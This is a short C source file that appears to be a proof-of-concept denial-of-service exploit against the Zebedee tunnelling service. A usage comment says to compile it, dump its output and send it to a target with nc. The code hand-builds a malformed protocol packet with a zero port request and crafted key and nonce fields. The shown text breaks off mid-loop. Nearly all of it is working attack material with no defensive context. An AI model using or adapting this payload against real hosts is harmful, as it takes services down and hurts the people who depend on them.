/* $ gcc -o mkZebedeeDoS mkZebedeeDoS.c $ ./mkZebedeeDoS > zebedeeDoS $ nc targethost port < zebedeeDoS */ #include int main (int argc, char **argv) { int i, size; char data[] = { 0x02, 0x01, // protocol version 0x00, 0x00, // flags 0x20, 0x00, // max message size 0x00, 0x06, // compression info 0x00, 0x00, // port request: value = 0x0 0x00, 0x80, // key length 0xff, 0xff, 0xff, 0xff, // key token 0x0b, 0xd8, 0x30, 0xb3, 0x21, 0x9c, 0xa6, 0x74, // nonce value 0x00, 0x00, 0x00, 0x00 // target host address }; size = 28; for(i=0; i